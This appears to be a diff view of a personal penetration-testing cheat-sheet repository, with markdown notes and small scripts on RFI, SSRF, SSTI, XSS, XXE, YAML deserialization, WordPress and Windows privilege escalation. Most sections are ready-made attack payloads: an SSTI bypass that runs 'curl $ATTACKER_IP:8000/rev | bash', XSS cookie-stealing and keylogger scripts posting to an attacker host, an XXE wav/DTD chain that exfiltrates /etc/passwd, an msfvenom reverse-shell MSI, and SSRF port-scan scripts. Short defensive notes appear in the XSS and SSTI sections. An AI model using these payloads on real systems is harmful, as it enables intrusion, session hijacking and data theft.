```sh
|
||||
https://test.com/files.php?file=http://<attacker-IP>:<attacker-Port>/reverse_shell.txt
|
||||
```
|
||||
* Payload may be PHP for example, but should not end in executable file extensions. The payload is executed locally, otherwise.
|
|
@ -0,0 +1,9 @@
|
|||
# Re-registration
|
||||
|
||||
Let's understand this with the help of an example, say there is an existing user with the name admin and now we want to get access to their account so what we can do is try to re-register that username but with slight modification. We are going to enter " admin"(notice the space in the starting). Now when you enter that in the username field and enter other required information like email id or password and submit that data. It will actually register a new user but that user will have the same right as normal admin. And that new user will also be able to see all the content present under the user admin.
|
||||
|
||||
# Usage
|
||||
* Re-register. The name is taken, that's the point, but alter the string
|
||||
```
|
||||
try to register a user name darren, you'll see that user already exists so then try to register a user " darren" and you'll see that you are now logged in and will be able to see the content present only in Darren's account which in our case is the flag that you need to retrieve.
|
||||
```
|
|
@ -0,0 +1,66 @@
|
|||
# Server Side Request Forgery (SSRF)
|
||||
is a vulnerability in web applications whereby an attacker can make further HTTP requests through the server. An attacker can make use of this vulnerability to communicate with any internal services on the server's network which are generally protected by firewalls. The attack can either be blind or data is returned to the attacker dire tly.
|
||||
|
||||
## Usage
|
||||
|
||||
### Sanity Test Service
|
||||
Test if input is sanitized by exploiting function. Here it is IP:PORT finding service. Test for localhost ports.
|
||||
```URL
|
||||
http://127.0.0.1:3306
|
||||
http://localhost:5432
|
||||
http://0.0.0.0:53
|
||||
```
|
||||
|
||||
* IPv6
|
||||
```URL
|
||||
http://[::]:3306
|
||||
http://:::3006
|
||||
```
|
||||
|
||||
* Cloud info in Link Local IP range `169.254.0.0/16`
|
||||
```URL
|
||||
169.254.169.254 --> AWS info
|
||||
169.254.169.253 --> DNS AWS VPC
|
||||
169.254.169.123 --> Stratum 3 NTP
|
||||
127.0.0.1:53 --> systemd DNS
|
||||
```
|
||||
|
||||
* [Changing input format into hex or encoded](https://gist.github.com/mzfr/fd9959bea8e7965d851871d09374bb72)
|
||||
|
||||
### Reading files
|
||||
```
|
||||
file:///etc/passwd
|
||||
```
|
||||
|
||||
### Request Forgery through GET parameters
|
||||
* Request app server through parameter
|
||||
```sh
|
||||
http://<ssrf-Server>/?url=http://<AppServer>/secret/url
|
||||
```
|
||||
* Request remote resources, or path traversal on remote resource
|
||||
```sh
|
||||
http://<ssrf-Server>/?url=/item?id=42
|
||||
http://<ssrf-Server>/?url=../../etc/passwd
|
||||
```
|
||||
* Request subdomain URL and cut following unnecessary parameters through `&x=&id=42`. Parameter `x` does not exist. So, it will be ignored
|
||||
```sh
|
||||
http://<ssrf-Server>/?url=db.test.com/shop/item?secret=key&x=&id=42
|
||||
```
|
||||
|
||||
### HTML Form
|
||||
User input through POST form on websites may open files (other MIME types) from server resources. Updating the path reference may yield unintended file content.
|
||||
```HTML
|
||||
<input type="radio" name="avatar" value="assets/avatars/6.png">
|
||||
```
|
||||
This may be used for path traversal
|
||||
```HTML
|
||||
<input type="radio" name="avatar" value="x/../private">
|
||||
```
|
||||
Check return value of the form for result.
|
||||
|
||||
## Tricks
|
||||
* `localtest.me` resolves to `127.0.0.1`, may be used to extend a domain inside a parameter to redirect to localhost.
|
||||
|
||||
## Tools
|
||||
* [Payload All The Things](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery#file)
|
||||
* https://requestbin.com
|
|
@ -0,0 +1,64 @@
|
|||
# Server Side Template Injection (SSTI)
|
||||
Pass in parameters to control the template.
|
||||
|
||||
## Usage
|
||||
* Sanity test
|
||||
```python
|
||||
{{2+2}}
|
||||
```
|
||||
|
||||
* Flask template LFI
|
||||
```python
|
||||
{{ ''.__class__.__mro__[2].__subclasses__()[40]()(<file>).read()}}
|
||||
```
|
||||
|
||||
* Executing commands
|
||||
```sh
|
||||
{{ ''.__class__.__mro__[1].__subclasses__()[401]("whoami", shell=True, stdout=-1).communicate() }}
|
||||
```
|
||||
|
||||
* RCE on server
|
||||
```python
|
||||
{{config.__class__.__init__.__globals__['os'].popen(<command>).read()}}
|
||||
```
|
||||
|
||||
## Identification of Template Engine
|
||||
Identify via payload checking
|
||||
* Smarty: `a{*comment*}b`
|
||||
* Mako: `${"z".join("ab")}`
|
||||
* Twig or Jinja2
|
||||
```sh
|
||||
{{7*7}}
|
||||
{{7*'7'}}
|
||||
```
|
||||
|
||||
## Tools
|
||||
### TPlmap
|
||||
```sh
|
||||
git clone https://github.com/epinna/tplmap.git
|
||||
pip2 install -r requirements
|
||||
```
|
||||
|
||||
|HTTP Method|Parameter|
|
||||
|-----------|---------|
|
||||
|GET|`tplmap -u <url>/?<vulnparam>`|
|
||||
|POST|`tplmap -u <url> -d '<vulnparam>'`|
|
||||
|
||||
* Using remote command
|
||||
```
|
||||
tplmap -u http://<ip>:<port>/ -d '<vulnparam>' --os-cmd "cat /etc/passwd"
|
||||
```
|
||||
|
||||
### Countermeasure
|
||||
* Remove everything in user input but alnum. Passing data, not data to f-string.
|
||||
```python
|
||||
input = re.sub("[^A-Za-z0-9]", "", input)
|
||||
template = "User input is {{ input }}"
|
||||
return render_template_string(template, input=input)
|
||||
```
|
||||
|
||||
## Bypass
|
||||
* Save reverse shell as `rev`
|
||||
```sh
|
||||
{{request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("curl $ATTACKER_IP:8000/rev | bash")|attr("read")()}}
|
||||
```
|
|
@ -0,0 +1,17 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
import requests
|
||||
|
||||
s = requests.Session()
|
||||
|
||||
t = []
|
||||
j = 0
|
||||
for i in range(1, 65536):
|
||||
r = s.get(f"http://10.10.214.67:8000/attack?url=http%3A%2F%2F0xa0a0a05%3A{i}")
|
||||
print(r.text)
|
||||
if "Target is not reachable!" in r.text:
|
||||
print(f"{i} is reachable, sum is {j}")
|
||||
t.append(f"Port {i}, {r.text}")
|
||||
else:
|
||||
print (f"{i} not reachable")
|
||||
print(t)
|
|
@ -0,0 +1,8 @@
|
|||
#!/usr/bin/env bash
|
||||
for x in {1..65535};
|
||||
do cmd=$(curl -so /dev/null http://$TARGET_IP:$TARGET_PORT/attack?url=http://2130706433:${x} \
|
||||
-w '%{size_download}');
|
||||
if [ $cmd != 1045 ]; then
|
||||
echo "Open port: $x"
|
||||
fi
|
||||
done
|
|
@ -0,0 +1,31 @@
|
|||
"""
|
||||
u can run this in the following format:
|
||||
For decimal: python3 ip2dh.py D <Ip-address>
|
||||
For Hexadecimal: python3 ip2dh.py H <Ip-address>
|
||||
"""
|
||||
#!/usr/bin/python3
|
||||
|
||||
import sys
|
||||
|
||||
if len(sys.argv) < 3:
|
||||
print('\nYou must give desired format and IPv4 address as input...')
|
||||
print('e.g.: D 192.168.10.100')
|
||||
print('Valid formats D=Decimal H=Hexadecimal\n')
|
||||
sys.exit(1)
|
||||
|
||||
Format = sys.argv[1]
|
||||
|
||||
def long(ip):
|
||||
IP = ip.split('.')
|
||||
IP = list(map(int, IP))
|
||||
LongIP = IP[0]*2**24 + IP[1]*2**16 + IP[2]*2**8 + IP[3]
|
||||
return LongIP
|
||||
|
||||
ip = long(sys.argv[2])
|
||||
|
||||
if Format == 'D':
|
||||
print('\nIP as Decimal format: %s' % (ip))
|
||||
|
||||
if Format == 'H':
|
||||
print('\nIP as Hexadecimal format: %s' % (hex(ip)))
|
||||
|
|
@ -0,0 +1,3 @@
|
|||
# URL Forgery
|
||||
|
||||
* Just change parts of the URL
|
|
@ -0,0 +1,22 @@
|
|||
# Wordpress
|
||||
|
||||
## ure_user_roles
|
||||
|
||||
* [exploitdb 44595](https://exploit-db.com/exploits/44595.)
|
||||
* [windsordeveloper](https://windsorwebdeveloper.com/dc-6-vulnhub-walkthrough/)
|
||||
|
||||
* Update user profile and append POST parameter to gain administrator role on user
|
||||
```sh
|
||||
&ure_other_roles=administrator
|
||||
```
|
||||
|
||||
## Shell Upload
|
||||
|
||||
* Msfconsole
|
||||
```sh
|
||||
exploit/unix/webapp/wp_admin_shell_upload
|
||||
```
|
||||
|
||||
## Template & Plugin Editing
|
||||
|
||||
* If template injection does not work, use plugin injection on `akismet.php`
|
|
@ -0,0 +1,6 @@
|
|||
# XPATH injection
|
||||
|
||||
* Similar to SQL injection, it is a input/parameter injection
|
||||
|
||||
* [payloads all the things XPATH](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection)
|
||||
* Use [lanfran's payload list](https://lanfran02.github.io/posts/cold_vvars/XPATH_list.txt) as burpsuite sniper payload
|
|
@ -0,0 +1,149 @@
|
|||
# Cross-Site Scripting
|
||||
A web application is vulnerable to XSS if it uses unsanitized user input. XSS is possible in Javascript, VBScript, Flash and CSS.
|
||||
|
||||
## Stored XSS
|
||||
This is where a malicious string originates from the websites database. Such as (stored in a db)
|
||||
* User profiles
|
||||
* Chats and comments
|
||||
* Part of link
|
||||
|
||||
* Blind xss is stored inside the app but effects are only visible by proxy, [xsshunter](https://xsshunter.com/).
|
||||
|
||||
### Examples
|
||||
* Sanity test by changing DOM content
|
||||
```
|
||||
<script>document.getElementById('myIdName').innerHTML="napf"</script>
|
||||
```
|
||||
|
||||
* Cookie stealing
|
||||
|
||||
```javascript
|
||||
<script>document.location='/log/'+document.cookie</script>
|
||||
```
|
||||
* Navigte to `/logs` and take sid
|
||||
|
||||
* Open nc port and collect cookies
|
||||
```javascript
|
||||
<script>document.location='http://<attacker-IP>:<attacker-Port>/XSS/grabber.php?c='+document.cookie</script>
|
||||
<script>var i=new Image;i.src="http://<attacker-IP>:<attacker-Port>/?"+document.cookie;</script>
|
||||
|
||||
```
|
||||
|
||||
## Reflected XSS
|
||||
In a reflected cross-site scripting attack, the malicious payload is part of the victims request to the website. The website includes this payload in response back to the user. To summarise, an attacker needs to trick a victim into clicking a URL to execute their malicious payload.
|
||||
* URL parameters inside GET queries
|
||||
* File paths
|
||||
|
||||
### Usage
|
||||
As script inside parameter
|
||||
```sh
|
||||
http://example.com/search?keyword=<script>...</script>
|
||||
```
|
||||
* Show server IP
|
||||
```
|
||||
http://example.com/reflected?keyword=<script>alert(window.location.hostname)</script>
|
||||
```
|
||||
* Session stealing, base64 encoded
|
||||
```javascript
|
||||
<script>fetch('http://<attacker-IP>/steal?cookie=' + btoa(document.cookie));</script>
|
||||
```
|
||||
* open netcat binder to catch the http queries
|
||||
|
||||
## DOM based XSS
|
||||
With DOM-Based xss, an attackers payload will only be executed when the vulnerable Javascript code is either loaded or interacted with. It goes through a Javascript function like so:
|
||||
```javascript
|
||||
var keyword = document.querySelector('#search')
|
||||
keyword.innerHTML = <script>...</script>
|
||||
```
|
||||
|
||||
### Usage
|
||||
* Find the sub-object inside the document
|
||||
```javascript
|
||||
test" onmouseover="alert('YO!')"
|
||||
```
|
||||
* Show cookie
|
||||
```
|
||||
test" onmouseover="alert(document.cookie)"
|
||||
```
|
||||
## Bypass Filters
|
||||
* `<script>` sanitizing
|
||||
```HTML
|
||||
<img src=x onerror=alert('Hello');>
|
||||
```
|
||||
or
|
||||
```javascript
|
||||
<</script>script>alert("1");<</script>/script>
|
||||
```
|
||||
* `alert()` sanitizing
|
||||
```javascript
|
||||
0\"autofocus/onfocus=alert(1)--><onerror=prompt(2)>"-confirm(3)-"
|
||||
```
|
||||
or
|
||||
```javascript
|
||||
0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
|
||||
```
|
||||
* Strings, here its `Hello`
|
||||
```javascript
|
||||
<style>@keyframes slidein {}</style><xss style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert('Hello')"></xss>
|
||||
```
|
||||
|
||||
## Portscanner via Javascript
|
||||
* By requesting the favicon, checking port 80
|
||||
```javascript
|
||||
<script>
|
||||
for (let i = 0; i < 256; i++) {
|
||||
let ip = '192.168.0.' + i
|
||||
|
||||
let code = '<img src="http://' + ip + '/favicon.ico" onload="this.onerror=null; this.src=/log/' + ip + '">'
|
||||
document.body.innerHTML += code
|
||||
}
|
||||
</script>
|
||||
```
|
||||
|
||||
* [pdp's portscanner](https://www.gnucitizen.org/files/2006/08/jsportscanner.js)
|
||||
|
||||
|
||||
## Keylogger
|
||||
```javascript
|
||||
<script type="text/javascript">
|
||||
let l = ""; // Variable to store key-strokes in
|
||||
document.onkeypress = function (e) { // Event to listen for key presses
|
||||
l += e.key; // If user types, log it to the l variable
|
||||
console.log(l); // update this line to post to your own server
|
||||
}
|
||||
</script>
|
||||
```
|
||||
* base64 encoded keylogger
|
||||
```javascript
|
||||
<script>
|
||||
document.onkeypress = function (e) {
|
||||
fetch('http://<attacker-IP>/log?key=' + btoa(e.key) );
|
||||
}
|
||||
</script>
|
||||
```
|
||||
|
||||
## Tab Nabbing
|
||||
|
||||
* Redirection of source after opening a tab through a provisioned link and back referencing
|
||||
* [Hacktricks Tabnabbing](https://book.hacktricks.xyz/pentesting-web/reverse-tab-nabbing)
|
||||
|
||||
|
||||
## Tricks and Tips
|
||||
* Use Polyglots
|
||||
* [XSS Filter Evasion Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html)
|
||||
* Close the a vulnerable, exploitable tag and open a script tag
|
||||
```html
|
||||
</tag><script>alert(1);</script>
|
||||
```
|
||||
|
||||
## Protection Methods
|
||||
|
||||
There are many ways to prevent XSS, here are the 3 ways to keep cross-site scripting our of your application.
|
||||
|
||||
1. Escaping - Escape all user input. This means any data your application has received is secure before rendering it for your end users. By escaping user input, key characters in the data received but the web page will be prevented from being interpreter in any malicious way. For example, you could disallow the < and > characters from being rendered.
|
||||
|
||||
2. Validating Input - This is the process of ensuring your application is rendering the correct data and preventing malicious data from doing harm to your site, database and users. Input validation is disallowing certain characters from being submit in the first place.
|
||||
|
||||
3. Sanitising - Lastly, sanitizing data is a strong defence but should not be used to battle XSS attacks alone. Sanitizing user input is especially helpful on sites that allow HTML markup, changing the unacceptable user input into an acceptable format. For example you could sanitise the < character into the HTML entity <
|
||||
|
||||
|
|
@ -0,0 +1,30 @@
|
|||
# CVE-2021-29447
|
||||
|
||||
* Upload of wav file has following consequences
|
||||
* **Arbitrary File Disclosure** for example `wp-config.php`
|
||||
* **Server Side Request Forgery**
|
||||
|
||||
|
||||
## Usage
|
||||
|
||||
* Create `wav` Payload
|
||||
```sh
|
||||
echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://<attacker-IP>:<Port>/NAMEEVIL.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav
|
||||
```
|
||||
* Create `dtd` Payload, which is downloaded from attacker machine by the wp instance. Following payload
|
||||
```sh
|
||||
<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd">
|
||||
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://<attacker-IP>:<attackerPort>/?p=%file;'>" >
|
||||
```
|
||||
|
||||
* Launch http server
|
||||
```sh
|
||||
php -S 0.0.0.0:8000
|
||||
python -m http.server
|
||||
```
|
||||
* Copy returned base64 into `php` file
|
||||
```php
|
||||
<?php echo zlib_decode(base64_decode('<returnedBase64>')); ?>
|
||||
```
|
||||
|
||||
|
|
@ -0,0 +1,78 @@
|
|||
# XML External Entity (XXE)
|
||||
|
||||
An XML External Entity (XXE) attack is a vulnerability that abuses features of XML parsers/data. It often allows an attacker to interact with any backend or external systems that the application itself can access and can allow the attacker to read the file on that system. They can also cause Denial of Service (DoS) attack or could use XXE to perform Server-Side Request Forgery (SSRF) inducing the web application to make requests to other applications. XXE may even enable port scanning and lead to remote code execution.
|
||||
|
||||
There are two types of XXE attacks: in-band and out-of-band (OOB-XXE).
|
||||
1. An in-band XXE attack is the one in which the attacker can receive an immediate response to the XXE payload.
|
||||
|
||||
2. out-of-band XXE attacks (also called blind XXE), there is no immediate response from the web application and attacker has to reflect the output of their XXE payload to some other file or their own server.
|
||||
|
||||
## Document Type Definition (DTD)
|
||||
A DTD defines the structure and the legal elements and attributes of an XML document.
|
||||
|
||||
* Example file content of `note.dtd`
|
||||
```
|
||||
<!DOCTYPE note [ <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> ]>
|
||||
```
|
||||
* !DOCTYPE note - Defines a root element of the document named note
|
||||
* !ELEMENT note - Defines that the note element must contain the elements: "to, from, heading, body"
|
||||
* !ELEMENT to - Defines the `to` element to be of type "#PCDATA"
|
||||
* !ELEMENT from - Defines the `from` element to be of type "#PCDATA"
|
||||
* !ELEMENT heading - Defines the `heading` element to be of type "#PCDATA"
|
||||
* !ELEMENT body - Defines the `body` element to be of type "#PCDATA"
|
||||
|
||||
|
||||
NOTE: #PCDATA means parseable character data.
|
||||
|
||||
* Resulting XML doc follows
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE note SYSTEM "note.dtd">
|
||||
<note>
|
||||
<to>falcon</to>
|
||||
<from>feast</from>
|
||||
<heading>hacking</heading>
|
||||
<body>XXE attack</body>
|
||||
</note>
|
||||
```
|
||||
|
||||
## Replacing XML content
|
||||
* Name in the example
|
||||
```xml
|
||||
<!DOCTYPE replace [<!ENTITY name "feast"> ]>
|
||||
<userInfo>
|
||||
<firstName>falcon</firstName>
|
||||
<lastName>&name;</lastName>
|
||||
</userInfo>
|
||||
```
|
||||
* System call inside entity
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>
|
||||
<root>
|
||||
<name>sdafsa</name>
|
||||
<tel>789731421</tel>
|
||||
<email>&xxe;</email>
|
||||
<password>12345</password>
|
||||
</root>
|
||||
```
|
||||
```xml
|
||||
<?xml version="1.0"?>
|
||||
<!DOCTYPE root [<!ENTITY read SYSTEM 'file:///etc/passwd'>]>
|
||||
<root>&read;</root>
|
||||
```
|
||||
|
||||
* PHP expect using syscalls
|
||||
```xml
|
||||
<?xml version="1.0"?>
|
||||
<!DOCTYPE foo [ <!ELEMENT foo ANY >
|
||||
<!ENTITY xxe SYSTEM "expect://id" >]>
|
||||
<root>
|
||||
<email>&xxe;</email>
|
||||
<password>12345</password>
|
||||
</root>
|
||||
```
|
||||
|
||||
|
||||
## Tools
|
||||
* [Payload All The Things](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection#classic-xxe)
|
|
@ -0,0 +1,13 @@
|
|||
# YAML Deserialization
|
||||
|
||||
* [CVE-2019-20477](https://packetstormsecurity.com/files/cve/CVE-2019-20477)
|
||||
* RCE via Yaml execution by Python
|
||||
|
||||
* [jolt](https://thej0lt.com/2020/06/21/cve-2019-20477-0day-yaml-deserialization-attack-on-pyyaml-version/)
|
||||
|
||||
## Usage
|
||||
|
||||
* Example Payload insid foo.yaml gets executed via Python
|
||||
```sh
|
||||
!!python/object/apply:os.system ["id"]
|
||||
```
|
|
@ -0,0 +1,24 @@
|
|||
# AlwaysInstalledElevated
|
||||
|
||||
* Watch out for `AlwaysInstalledElevated` keys inside the registry via
|
||||
```sh
|
||||
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
|
||||
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
|
||||
```
|
||||
* Prepare reverse shell on attacker as an msi file
|
||||
```
|
||||
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<attacker-IP> LPORT=<attacker-Port> -f msi -o shell.msi
|
||||
```
|
||||
* start the msi on target
|
||||
```sh
|
||||
msiexec /quiet /qn /i C:\Temp\shell.msi
|
||||
```
|
||||
|
||||
## Set Registry Keys
|
||||
* Alternative method
|
||||
```sh
|
||||
reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
|
||||
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
|
||||
```
|
||||
|
||||
|
|
@ -0,0 +1,9 @@
|
|||
# crackmapexec
|
||||
|
||||
* In general, the syntax is as follows
|
||||
```sh
|
||||
crackmapexec smb $DOMAIN -u <user> -p <password>
|
||||
```
|
||||
* Do not set the domain at the end, it won't work.
|
||||
|
||||
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue